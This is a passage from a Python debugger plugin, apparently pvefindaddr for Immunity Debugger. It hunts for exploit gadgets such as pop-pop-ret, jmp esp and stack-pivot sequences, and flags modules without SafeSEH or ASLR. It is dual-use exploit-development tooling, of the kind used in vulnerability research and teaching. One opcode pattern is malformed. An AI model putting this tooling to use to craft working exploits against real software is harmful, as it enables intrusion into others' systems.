mycontent=newcontent
return mycontent
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
MAIN APPLICATION
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
def main(args):
imm = immlib.Debugger()
if len(args) == 0:
usage(imm)
return "Error: No arguments - read the usage text for more info"
results = []
filter=""
nrfound=0
g_typeofsploit=0
g_jumpreg=""
g_address=""
g_offset=0
g_regpos=0
g_regoff=""
imm.log("")
imm.updateLog()
imm.log("")
imm.log("")
imm.updateLog()
"""
Parse generic arguments
"""
nonull=0
noos=0
modulefilter=""
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-m':
if cnt < (len(args)-1):
modulefilter=args[cnt+1]
if args[cnt]=='-n':
nonull=1
if args[cnt]=='-o':
noos=1
cnt=cnt+1
"""
List all modules that are not safeseh protected
"""
if (args[0] == "nosafeseh" or args[0] == "safeseh"):
found=0
if len(g_modules)==0:
moduleinfo()
imm.log("Safeseh unprotected modules : ")
for mods in g_modules:
modrecord=mods.split('\t')
if (modrecord[5]=="0"):
found=1
mzbase=int(modrecord[2])
mztop=int(modrecord[4])
path=modrecord[1]
np=modrecord[0]
extra=""
if (modrecord[8]=="1"):
extra=" - !BaseFixup!"
else:
extra=""
imm.log(" * 0x%08x - 0x%08x : %s %s (%s)" % (mzbase,mztop,np,extra,path),highlight=1)
imm.log("")
if found==0:
imm.log("All loaded modules are safeseh protected - good luck",highlight=1)
imm.log("")
"""
List all modules that are not safeseh or asrl aware
"""
if args[0] == "nosafesehaslr" or args[0] == "safesehaslr":
getnosafesehaslr(imm,0)
"""
List all modules that are not aslr aware
"""
if (args[0] == "noaslr" or args[0] == "aslr"):
found=0
if len(g_modules)==0:
moduleinfo()
imm.log("Loaded modules - ASLR protection status : ")
imm.log("-----------------------------------------")
for mods in g_modules:
modrecord=mods.split('\t')
extra=""
if (modrecord[8]=="1"):
extra=" - !BaseFixup!"
else:
extra=""
if (modrecord[6]=="0"):
found=1
mzbase=int(modrecord[2])
mztop=int(modrecord[4])
path=modrecord[1]
np=modrecord[0]
imm.log(" * 0x%08x - 0x%08x : %s %s (%s) : NO ASLR" % (mzbase,mztop,np,extra,path),highlight=1)
imm.updateLog()
else:
mzbase=int(modrecord[2])
mztop=int(modrecord[4])
path=modrecord[1]
np=modrecord[0]
imm.log(" * 0x%08x - 0x%08x : %s %s (%s) : ASLR ENABLED" % (mzbase,mztop,np,extra,path))
imm.updateLog()
imm.log("")
if found==0:
imm.log("All loaded modules are aslr aware - good luck",highlight=1)
imm.log("")
"""
Search for pop pop ret (mostly used in SEH based overflows. Only addresses in modules that are not safeseh protected
and not subject to aslr will be listed, unless you specify your own module name.
"""
if args[0] == "a":
if modulefilter <> "":
noos=0
imm.log("-------------------------------------------------------------------")
imm.log("Search for pop pop ret alternative (add esp 8,ret) started ")
imm.log("Search in non-safeseh, non-aslr modules and non-fixup modules only")
imm.log("Please wait...")
imm.log("-------------------------------------------------------------------")
filename="ppralternative.txt"
resetfile(filename)
writemodinfo(filename)
getnosafesehaslr(imm,1)
imm.log("--------------------------------------------------------------")
opcodej=["\x83\xc4\x08\xc3","\x83\xc4\x08\xc2",#add esp,8 +ret
"\x94\x8d\x40\x08\x8b\x10\x94\xc3", #XCHG EAX,ESP#LEA EAX,[EAX+8]#MOV EDX,EAX#XCHG EAX,ESP#RETN
"\x94\x8d\x40\x08\x8b\x10\x94\xc2"]
for op in opcodej:
addys=imm.search(op)
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if module.upper().find(modulefilter.upper()) >= 0 and getmoduleprop(module,"fixup")=="0" and getmoduleprop(module,"aslr")=="0" and getmoduleprop(module,"safeseh")=="0":
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
try:
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x [%s] Access: (%s) " % (opstring, ad1, module, access), address = ad1,highlight=1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
except:
pass
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d address(es) in non-safeseh protected and non-aslr aware modules, out of %d addresses" % (nrfound,len(results)))
tofile("See if one of these addresses is followed by RET !",filename)
imm.log("See if one of these addresses is followed by RET !")
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
return "Done - check %s" % filename
"""
Search for pop pop ret (mostly used in SEH based overflows)
"""
if args[0] == "p" or args[0]=="p1" or args[0]=="p2" or args[0] == "xp" or args[0]=="xp1" or args[0]=="xp2":
imm.log("------------------------------------------------------------------")
if args[0] == "p" or args[0]=="p1" or args[0]=="p2":
imm.log("Search for pop XX pop XX ret combinations")
if args[0] == "xp" or args[0]=="xp1" or args[0]=="xp2":
imm.log("Search for xor + pop XX pop XX ret combinations (sehop)")
imm.log("------------------------------------------------------------------")
nosafeseh=1
noaslr=0
filename="ppr.txt"
if args[0] == "p1" or args[0] == "xp1":
noaslr=1
filename="ppr1.txt"
if args[0] == "p2" or args[0] == "xp2":
noaslr=0
nosafeseh=0
filename="ppr2.txt"
if args[0].lower().find("x") > -1:
filename="x" + filename
resetfile(filename)
writemodinfo(filename)
shownosafeseh()
offsets = [ "", " 04"," 08"," 0c"," 10"," 12"," 1C"]
returns= ["ret"]
regs=["eax","ebx","ecx","edx","esi","edi","esp","ebp"]
filter=""
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
filter=args[cnt+1]
cnt=cnt+1
if modulefilter <> "":
noos=0
if nosafeseh==1:
imm.log("[+] Excluding safeseh protected modules")
else:
imm.log("[+] Including safeseh protected modules")
if noaslr==1:
imm.log("[+] Excluding ASLR enabled modules")
else:
imm.log("[+] Including ASLR enabled modules")
if noos==1:
imm.log("[+] Excluding modules from Windows folder")
else:
imm.log("[+] Including modules from Windows folder")
if nonull==1:
imm.log("[+] Excluding pointers with null bytes")
else:
imm.log("[+] Including pointers with null bytes")
if modulefilter <> "":
imm.log("[+] Only showing pointers from module %s" % modulefilter)
imm.updateLog()
results=[]
imm.log("Launching search, please wait...")
for r1 in regs:
for r2 in regs:
for roffset in offsets:
op = "pop "+r1+"\npop "+r2+"\nret "+roffset
op=op.strip()
if op.find(filter) >= 0:
addys=imm.search( imm.assemble (op) )
results += addys
imm.log(" * %d pointers found ending with RET%s, now filtering results..." % (len(addys),roffset))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if module.upper().find(modulefilter.upper()) >= 0:
if (noaslr==0) or (noaslr==1 and getmoduleprop(module,"aslr")=="0" and getmoduleprop(module,"fixup")=="0"):
if (nosafeseh==0) or (nosafeseh==1 and getmoduleprop(module,"safeseh")=="0"):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
if args[0] == "xp" or args[0]=="xp1" or args[0]=="xp2":
#only add if ppr is preceeded with a xor reg,reg operation
opstart=imm.DisasmBackward(ad1,1)
opadstart=opstart.getAddress()
opstring=opstart.getDisasm()
if opstring.upper().find("XOR") >= 0:
#xor samereg,samereg ?
xorfields=opstring.lower().split(' ')
if len(xorfields) > 1:
xorregs = xorfields[1].split(',')
if len(xorregs) > 1:
if xorregs[0].replace(" ","") == xorregs[1].replace(" ",""):
tofile("Found "+opstring.lower() + " - " + op + " at 0x" + tohex(opadstart)+" ["+module+"]",filename,opadstart)
nrfound+=1
else:
tofile("Found "+op+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
imm.updateLog()
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d valid address(es) (out of a total of %d addresses)" % (nrfound,len(results)))
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
return "Done - check %s" % filename
if args[0] == "pdep":
imm.log("----------------------------------------------------------------------------------------------------")
imm.log("Search for dep bypass instructions such as p/p/pop esp / ret combinations started - please wait...")
imm.log("----------------------------------------------------------------------------------------------------")
filename="pdep.txt"
resetfile(filename)
writemodinfo(filename)
if len(g_modules)==0:
moduleinfo()
shownosafeseh()
searchreg=""
offsets = [ " 04"," 08"," 0c"," 10"]
ppr = []
aregs=["eax","ebx","ecx","edx","esi","edi","ebp"]
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
searchreg=args[cnt+1]
cnt=cnt+1
if modulefilter <> "":
noos=0
for areg in aregs:
for breg in aregs:
ppr.append("pop "+areg+"\npop "+breg+"\n pop esp\n ret")
for op in ppr:
#filter defined
filter=searchreg
if op.find(filter) >= 0:
#first search for normal ppr
addys=imm.search( imm.assemble (op) )
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if modulefilter == "":
if ismodulenosafeseh(module) == 1 and getmoduleprop(module,"fixup")=="0":
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
else:
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+" at 0x" + tohex(ad1)+" ["+module+"] ** SafeSEH protected **",filename,ad1)
nrfound+=1
else:
if module.find(modulefilter) >= 0:
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
#now also search for ret+offsets
for ofs in offsets:
addys=imm.search( imm.assemble (op+ofs) )
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if modulefilter == "":
#only show addresses from non-safeseh protected modules
if ismodulenosafeseh(module) == 1 and getmoduleprop(module,"fixup")=="0":
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+ofs+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
else:
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+ofs+" at 0x" + tohex(ad1)+" ["+module+"] ** SafeSEH protected ** ",filename,ad1)
nrfound+=1
else:
if module.find(modulefilter) >= 0:
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
tofile("Found "+op+ofs+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d address(es) in non-safeseh protected modules, out of %d addresses" % (nrfound,len(results)))
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
return "Done - check %s" % filename
"""
Function that looks for jump/call/push addresses (mostly used in direct RET BOF)
"""
if args[0] == "j":
filename="j.txt"
resetfile(filename)
writemodinfo(filename)
searchreg="esp"
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
searchreg=args[cnt+1]
cnt=cnt+1
if modulefilter <> "":
noos=0
imm.log("------------------------------------------------------------------")
imm.log("Search for jmp/call/push ret combinations started - please wait...")
imm.log("------------------------------------------------------------------")
opcodej=["jmp "+searchreg,"call "+searchreg,"push "+searchreg+"\n ret","push "+searchreg+"\n ret 4","push "+searchreg+"\n ret 8","push "+searchreg+"\n ret 0c"]
regs=["eax","ebx","ecx","edx","esi","edi"]
for thisreg in regs:
opcodej.append("push "+searchreg+"\n pop "+thisreg+"\n jmp "+thisreg)
opcodej.append("push "+searchreg+"\n pop "+thisreg+"\n call "+thisreg)
if thisreg.upper()<>searchreg.upper():
opcodej.append("mov "+thisreg+","+searchreg+"\n jmp "+thisreg)
opcodej.append("mov "+thisreg+","+searchreg+"\n call "+thisreg)
opcodej.append("mov "+thisreg+","+searchreg+"\n push "+thisreg+"\n ret")
for opj in opcodej:
imm.log("-> Searching for %s" % (opj),highlight=1)
imm.updateLog()
addys=imm.search( imm.assemble (opj) )
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
isfixup=getmoduleprop(module,"fixup")
isaslr=getmoduleprop(module,"aslr")
#reset fixup/aslr values if you specified a module name
if modulefilter <> "" and module.upper().find(modulefilter.upper()) >= 0:
isfixup="0"
isaslr="0"
if module.upper().find(modulefilter.upper()) >= 0 and isfixup =="0" and isaslr=="0":
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
#page = imm.getMemoryPagebyAddress( ad1 )
#access = page.getAccess( human = True )
#hexaddr=tohex(ad1)
#imm.log("Found %s at 0x%08x [%s] Access: (%s) " % (opj, ad1, module, access), address = ad1)
tofile("Found "+opj+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
imm.updateLog()
nrfound+=1
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d address(es)" % nrfound)
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
else:
usage(imm)
return "Error: Please provide register and optional module name"
"""
Function that looks for jump/call/push addresses (mostly used in direct RET BOF)
"""
if args[0] == "jp":
if len(args) > 1:
imm.log("------------------------------------------------------------------------------------------------")
imm.log("Search for jmp/call/push ret combinations + pointers to these address started - please wait...")
imm.log("------------------------------------------------------------------------------------------------")
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
searchreg=args[cnt+1]
cnt=cnt+1
if modulefilter <> "":
noos=0
opcodej=["jmp "+searchreg,"call "+searchreg,"push "+searchreg+"\n ret","push "+searchreg+"\n ret 4","push "+searchreg+"\n ret 8","push "+searchreg+"\n ret 0c"]
filename="jp.txt"
resetfile(filename)
writemodinfo(filename)
for opj in opcodej:
addys=imm.search( imm.assemble (opj) )
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if module.find(modulefilter) >= 0 and getmoduleprop(module,"fixup")=="0":
#page = imm.getMemoryPagebyAddress( ad1 )
#access = page.getAccess( human = True )
#now look for a pointer to that address
#imm.log("Found %s at 0x%08x [%s] Access: (%s)" % (opj, ad1, module, access), address = ad1)
thisadr=tohex(ad1)
try:
b4 = thisadr[0]+thisadr[1]
b3 = thisadr[2]+thisadr[3]
b2 = thisadr[4]+thisadr[5]
b1 = thisadr[6]+thisadr[7]
b=binascii.a2b_hex(b1)+binascii.a2b_hex(b2)+binascii.a2b_hex(b3)+binascii.a2b_hex(b4)
#imm.log("Looking for pointers to %s" % b)
addys2=imm.search(b)
for ad2 in addys2:
module = getmodnamefromptr(ad2)
if not module:
module = "none"
else:
if module <> "":
module = module.lower()
page = imm.getMemoryPagebyAddress( ad2 )
access = page.getAccess( human = True )
imm.log("Found %s at 0x%08x [%s] Access: (%s)" % (opj, ad1, module, access), address = ad1)
imm.log(" -> Found pointer to %s at 0x%08x (%s) - Access: (%s)" % (opj, ad2, module,access), address = ad2)
tofile("Found "+opj+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
tofile(" -> Found pointer to " + opj + " at 0x"+tohex(ad2)+" ["+module+"]",filename,ad2)
nrfound+=1
b=binascii.a2b_hex(b2)+binascii.a2b_hex(b3)+binascii.a2b_hex(b4)
#imm.log("Looking for pointers to %s" % b)
addys2=imm.search(b)
for ad2 in addys2:
ad2=ad2-1
module = getmodnamefromptr(ad2)
if not module:
module = "none"
else:
if module <> "":
page = imm.getMemoryPagebyAddress( ad2 )
access = page.getAccess( human = True )
imm.log("Found %s at 0x%08x [%s] Access: (%s)" % (opj, ad1, module, access), address = ad1)
imm.log(" -> Found possible pointer to %s at 0x%08x (%s) - Access: (%s)" % (opj, ad2, module,access), address = ad2)
tofile("Found "+opj+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
tofile(" -> Found 'close' pointer to " + opj+" at 0x"+tohex(ad2)+" ["+module+"]",filename,ad2)
nrfound+=1
except:
imm.log(" Unable to search for pointers (due to null byte)")
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d pointer(s)" % nrfound)
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
else:
usage(imm)
return "Error: Please provide register and optional module name"
"""
Function that looks for a jump to a register+offset
"""
if args[0] == "jo":
filename="jo.txt"
resetfile(filename)
writemodinfo(filename)
opsearch = []
minoffset=-101
maxoffset=101
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
searchreg=args[cnt+1].upper()
if args[cnt]=='-l':
if cnt < (len(args)-1):
if IsNumber(args[cnt+1]):
minoffset=int(args[cnt+1])
if args[cnt]=='-t':
if cnt < (len(args)-1):
if IsNumber(args[cnt+1]):
maxoffset=int(args[cnt+1])
cnt=cnt+1
if modulefilter <> "":
noos=0
imm.log("---------------------------------------------------------------------")
imm.log("Search for jump to reg + offset combinations started - please wait...")
imm.log("---------------------------------------------------------------------")
#arg1 = reg
targetreg=searchreg
allop=[
"EAX 0xff0x500x??", #call dword ptr EAX
"ECX 0xff0x510x??", # ECX
"EDX 0xff0x520x??", # EDX
"EBX 0xff0x530x??", # EBX
"EBP 0xff0x550x??", # EBP
"ESI 0xff0x560x??", # ESI
"EDI 0xff0x570x??", # EDI
"EAX 0xff0x580x??", # far EAX
"ESP 0xff0x540x240x??", # ESP
"EAX 0xff0x600x240x??", #jmp dword ptr eax
"ECX 0xff0x610x240x??", #jmp dword ptr ecx
"EDX 0xff0x620x240x??", #jmp dword ptr edx
"EBX 0xff0x630x240x??", #jmp dword ptr ebx
"ESP 0xff0x640x240x??", #jmp dword ptr esp
"EBP 0xff0x650x240x??", #jmp dword ptr ebp
"ESI 0xff0x660x240x??", #jmp dword ptr esi
"EDI 0xff0x670x240x??", #jmp dword ptr edi
"EAX 0xff0x700x240x??0xc3", #push dword ptr eax
"EAX 0xff0x700x240x??0xc2", #push dword ptr eax
"ECX 0xff0x710x240x??0xc3", #push dword ptr ecx
"ECX 0xff0x710x240x??0xc2", #push dword ptr ecx
"EDX 0xff0x720x240x??0xc3", #push dword ptr edx
"EDX 0xff0x720x240x??0xc2", #push dword ptr edx
"EBX 0xff0x730x240x??0xc3", #push dword ptr ebx
"EBX 0xff0x730x240x??0xc2", #push dword ptr ebx
"ESP 0xff0x740x240x??0xc3", #push dword ptr esp
"ESP 0xff0x740x240x??0xc2", #push dword ptr esp
"EBP 0xff0x750x??0xc3", #push dword ptr ebp
"EBP 0xff0x750x??0xc2", #push dword ptr ebp
"ESI 0xff0x760x240x??0xc3", #push dword ptr esi
"ESI 0xff0x760x240x??0xc2", #push dword ptr esi
"EDI 0xff0x770x240x??0xc3", #push dword ptr edi
"EDI 0xff0x770x240x??0xc2", #push dword ptr edi
"EAX 0xff0x680x??" #jmp far dword ptr eax
]
posop=[
"EAX 0x830xc00x??0x500xc3", #add eax + push + ret
"EAX 0x810xc00x??0x000x000x000x500xc3",
"EAX 0x830xc00x??0x500xc2", #add eax + push + ret n
"EAX 0x810xc00x??0x000x000x000x500xc2",
"ECX 0x830xc10x??0x510xc3", #add ecx + push + ret
"ECX 0x810xc10x??0x000x000x000x510xc3",
"ECX 0x830xc10x??0x510xc2", #add ecx + push + ret n
"ECX 0x810xc10x??0x000x000x000x510xc2",
"EDX 0x830xc20x??0x520xc3", #add edx + push + ret
"EDX 0x810xc20x??0x000x000x000x520xc3",
"EDX 0x830xc20x??0x520xc2", #add edx + push + ret n
"EDX 0x810xc20x??0x000x000x000x520xc3",
"EBX 0x830xc30x??0x530xc3", #add ebx + push + ret
"EBX 0x810xc30x??0x000x000x000x530xc3",
"EBX 0x830xc30x??0x530xc2", #add ebx + push + ret n
"EBX 0x810xc30x??0x000x000x000x530xc3",
"ESP 0x830xc40x??0x540xc3", #add esp + push + ret
"ESP 0x810xc40x??0x000x000x000x540xc3",
"ESP 0x830xc40x??0x540xc2", #add esp + pups + ret n
"ESP 0x810xc40x??0x000x000x000x540xc2",
"EBP 0x830xc50x??0x550xc3", #add ebp + push + ret
"EBP 0x810xc50x??0x000x000x000x550xc3",
"EBP 0x830xc50x??0x550xc2", #add ebp + push + ret n
"EBP 0x810xc50x??0x000x000x000x550xc2",
"ESI 0x830xc60x??0x560xc3", #add esi + push + ret
"ESI 0x810xc60x??0x000x000x000x560xc3",
"ESI 0x830xc60x??0x560xc2", #add esi + push + ret n
"ESI 0x810xc60x??0x000x000x000x560xc3",
"EDI 0x830xc70x??0x570xc3", #add edi + push + ret
"EDI 0x810xc70x??0x000x000x000x570xc3",
"EDI 0x830xc70x??0x570xc2", #add edi + push + ret n
"EDI 0x810xc70x??0x000x000x000x570xc3"
]
posvalop=[
"EAX 0x830xe8x??0x500xc3", #sub eax -value + push + ret
"EAX 0x810xe8x??0xff0xff0xff0x500xc3",
"EAX 0x830xe8x??0x500xc2", #
"EAX 0x810xe8x??0xff0xff0xff0x500xc2",
"ECX 0x830xe90x??0x510xc3", #sub ecx -value + push + ret
"ECX 0x810xe90x??0xff0xff0xff0x510xc3",
"ECX 0x830xe90x??0x510xc2",
"ECX 0x810xe90x??0xff0xff0xff0x510xc2",
"EDX 0x830xea0x??0x520xc3", #sub edx -value + push + ret
"EDX 0x810xea0x??0xff0xff0xff0x520xc3",
"EDX 0x830xea0x??0x520xc2",
"EDX 0x810xea0x??0xff0xff0xff0x520xc3",
"EBX 0x830xeb0x??0x530xc3", #sub ebx -value + push + ret
"EBX 0x810xeb0x??0xff0xff0xff0x530xc3",
"EBX 0x830xeb0x??0x530xc2",
"EBX 0x810xeb0x??0xff0xff0xff0x530xc3",
"ESP 0x830xec0x??0x540xc3", #sub esp -value + push + ret
"ESP 0x810xec0x??0xff0xff0xff0x540xc3",
"ESP 0x830xec0x??0x540xc2",
"ESP 0x810xec0x??0xff0xff0xff0x540xc2",
"EBP 0x830xed0x??0x550xc3", #sub ebp -value + push + ret
"EBP 0x810xed0x??0xff0xff0xff0x550xc3",
"EBP 0x830xed0x??0x550xc2",
"EBP 0x810xed0x??0xff0xff0xff0x550xc2",
"ESI 0x830xee0x??0x560xc3", #sub esi -value + push + ret
"ESI 0x810xee0x??0xff0xff0xff0x560xc3",
"ESI 0x830xee0x??0x560xc2",
"ESI 0x810xee0x??0xff0xff0xff0x560xc3",
"EDI 0x830xef0x??0x570xc3", #sub edi -value + push + ret
"EDI 0x810xef0x??0xff0xff0xff0x570xc3",
"EDI 0x830xef0x??0x570xc2",
"EDI 0x810xef0x??0xff0xff0xff0x570xc3"
]
negop=[
"EAX 0x810xe80x??0x000x000x000x500xc3", #sub eax + push + ret
"EAX 0x810xe80x??0x000x000x000x500xc2",
"EAX 0x830xe80x??0x500xc3",
"EAX 0x830xe80x??0x500xc2",
"ECX 0x810xe90x??0x000x000x000x510xc3", #sub ecx + push + ret
"ECX 0x810xe90x??0x000x000x000x510xc2",
"ECX 0x830xe90x??0x510xc3",
"ECX 0x830xe90x??0x510xc2",
"EDX 0x810xea0x??0x000x000x000x520xc3", #sub edx + push + ret
"EDX 0x810xea0x??0x000x000x000x520xc2",
"EDX 0x830xea0x??0x520xc3",
"EDX 0x830xea0x??0x520xc2",
"EBX 0x810xeb0x??0x000x000x000x530xc3", #sub ebx + push + ret
"EBX 0x810xeb0x??0x000x000x000x530xc2",
"EBX 0x830xeb0x??0x530xc3",
"EBX 0x830xeb0x??0x530xc2",
"ESP 0x810xec0x??0x000x000x000x540xc3", #sub esp + push + ret
"ESP 0x810xec0x??0x000x000x000x540xc2",
"ESP 0x830xec0x??0x540xc3",
"ESP 0x830xec0x??0x540xc2",
"EBP 0x810xed0x??0x000x000x000x550xc3", #sub ebp + push + ret
"EBP 0x810xed0x??0x000x000x000x550xc2",
"EBP 0x830xed0x??0x550xc3",
"EBP 0x830xed0x??0x550xc2",
"ESI 0x810xee0x??0x000x000x000x560xc3", #sub esi + push + ret
"ESI 0x810xee0x??0x000x000x000x560xc2",
"ESI 0x830xee0x??0x560xc3",
"ESI 0x830xee0x??0x560xc2",
"EDI 0x810xef0x??0x000x000x000x570xc3", #sub edi + push + ret
"EDI 0x810xef0x??0x000x000x000x570xc2",
"EDI 0x830xef0x??0x570xc3",
"EDI 0x830xef0x??0x570xc2"
]
negvalop=[
"EAX 0x810xc00x??0xFF0xFF0xFF0x500xc3", #add eax - x + push + ret
"EAX 0x830xc00x??0x500xc3",
"EAX 0x810xc00x??0xFF0xFF0xFF0x500xc2", #add eax - x + push + ret n
"EAX 0x830xc00x??0x500xc2",
"ECX 0x810xc10x??0xFF0xFF0xFF0x510xc3", #add ecx - x + push + ret
"ECX 0x830xc10x??0x510xc3",
"ECX 0x810xc10x??0xFF0xFF0xFF0x510xc2", #add ecx - x + push + ret n
"ECX 0x830xc10x??0x510xc2",
"EDX 0x810xc20x??0xFF0xFF0xFF0x520xc3", #add edx - x + push + ret
"EDX 0x830xc20x??0x520xc3",
"EDX 0x810xc20x??0xFF0xFF0xFF0x520xc2", #add edx - x + push + ret n
"EDX 0x830xc20x??0x520xc2",
"EBX 0x810xc30x??0xFF0xFF0xFF0x530xc3", #add ebx - x + push + ret
"EBX 0x830xc30x??0x530xc3",
"EBX 0x810xc30x??0xFF0xFF0xFF0x530xc2", #add ebx - x + push + ret n
"EBX 0x830xc30x??0x530xc2",
"ESP 0x810xc40x??0xFF0xFF0xFF0x540xc3", #add esp - x + push + ret
"ESP 0x830xc40x??0x540xc3",
"ESP 0x810xc40x??0xFF0xFF0xFF0x540xc2", #add esp - x + push + ret n
"ESP 0x830xc40x??0x540xc2",
"EBP 0x810xc50x??0xFF0xFF0xFF0x550xc3", #add ebp - x + push + ret
"EBP 0x830xc50x??0x550xc3",
"EBP 0x810xc50x??0xFF0xFF0xFF0x550xc2", #add ebp - x + push + ret n
"EBP 0x830xc50x??0x550xc2",
"ESI 0x810xc60x??0xFF0xFF0xFF0x560xc3", #add esi - x + push + ret
"ESI 0x830xc60x??0x560xc3",
"ESI 0x810xc60x??0xFF0xFF0xFF0x560xc2", #add esi - x + push + ret n
"ESI 0x830xc60x??0x560xc2",
"EDI 0x810xc70x??0xFF0xFF0xFF0x570xc3", #add edi - x + push + ret
"EDI 0x830xc70x??0x570xc3",
"EDI 0x810xc70x??0xFF0xFF0xFF0x570xc2", #add edi - x + push + ret n
"EDI 0x830xc70x??0x570xc2",
]
offsettable=imm.createTable('pvefindaddr Jump to '+targetreg+'+offset results',['Address','Offset','Instruction','Module','Access'])
startoffset=minoffset
if startoffset > maxoffset:
tmpoffset=startoffset
startoffset=maxoffset
maxoffset=tmpoffset
if startoffset < -254:
startoffset=-254
if maxoffset > 254:
maxoffset=254
imm.log("Target register : %s " % targetreg)
imm.log("Offset range : from %d to %d" % (startoffset,maxoffset))
if modulefilter <> "":
imm.log("Only show addresses from module %s " % modulefilter)
imm.log("-----------------------------------------------------")
startoff=startoffset
ofstring=""
while startoff <= maxoffset:
if startoff < 0:
ofstring=tohexbyte(255+startoff+1)
if startoff > 0:
ofstring=tohexbyte(startoff)
if startoff != 0:
imm.log("Finding pointers to jump to %s offset %s" % (targetreg,startoff))
imm.updateLog()
for thiscall in allop:
imm.updateLog()
if thiscall.find(targetreg) > -1:
thiscall=thiscall.replace(targetreg+" ","")
newsearch=thiscall.replace("??",ofstring).replace("0x","\\x")
#perform search
addys=imm.search( newsearch.decode('string_escape'))
imm.log("%d pointers found" % len(addys))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if getmoduleprop(module,"fixup")=="0":
if (modulefilter=="") or (modulefilter <> "" and module.upper().find(modulefilter.upper()) > -1):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
offsettable.add(0,["%s"%(tohex(ad1)),"%d"%(startoff),"%s"%(opstring),"%s"%(module),"%s"%(access)])
imm.updateLog()
